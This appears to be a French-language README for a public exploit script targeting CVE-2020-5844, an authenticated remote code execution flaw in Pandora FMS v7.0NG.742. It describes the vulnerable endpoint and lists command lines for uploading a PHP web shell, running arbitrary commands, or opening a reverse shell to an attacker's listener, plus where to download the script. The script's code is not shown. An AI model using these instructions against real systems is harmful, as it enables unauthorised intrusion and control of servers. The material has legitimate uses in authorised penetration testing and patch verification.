
Exploit pour CVE-2020-5844 (Pandora FMS v7.0NG.742) - Exécution de code à distance

Vous aimez ce dépôt ? Donnez-nous une ⭐ !
Pour des fins éducatives et de recherche en sécurité autorisées uniquement.
@UNICORDev par (@NicPWNs et @Dev-Yeoj)
index.php?sec=godmode/extensions&sec2=extensions/files_repo dans Pandora FMS v7.0 NG permet aux administrateurs authentifiés de télécharger des scripts PHP malveillants et de les exécuter via le décodage base64 de l'emplacement du fichier. Cela affecte v7.0NG.742_FIX_PERL2020.
Utilisez cet exploit pour une exécution de code à distance sur les versions vulnérables de Pandora FMS. Nécessite une adresse IP et un port cibles. Nécessite un nom d'utilisateur/mot de passe valide ou une authentification par cookie PHPSESSID valide. Exécutez en mode par défaut pour télécharger un shell web PHP basique. Exécutez en mode commande personnalisée pour exécuter une commande personnalisée sur la cible. Exécutez en mode shell inverse pour recevoir un shell inverse de la cible sur un écouteur que vous configurez. Exécutez en mode shell web personnalisé pour modifier le nom du fichier du shell web PHP.
python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -u <username> <password>
python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID>
python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-c <custom-command>]
python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-s <local-ip> <local-port>]
python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-w <name.php>]
python3 exploit-CVE-2020-5844.py -h
-t Target host and port. Provide target IP address and port.
-u Target username and password. Provide username and password to log in to Pandora FMS.
-p Target valid PHP session ID. No username or password needed. (Optional)
-s Reverse shell mode. Provide local IP address and port. (Optional)
-c Custom command mode. Provide command to execute. (Optional)
-w Web shell custom mode. Provide custom PHP file name. (Optional)
-h Show this help menu.
Télécharger exploit-CVE-2020-5844.py depuis GitHub
Télécharger exploit-CVE-2020-5844.py depuis ExploitDB
searchsploit -u
searchsploit -m 50961
Pandora FMS v7.0NG.742




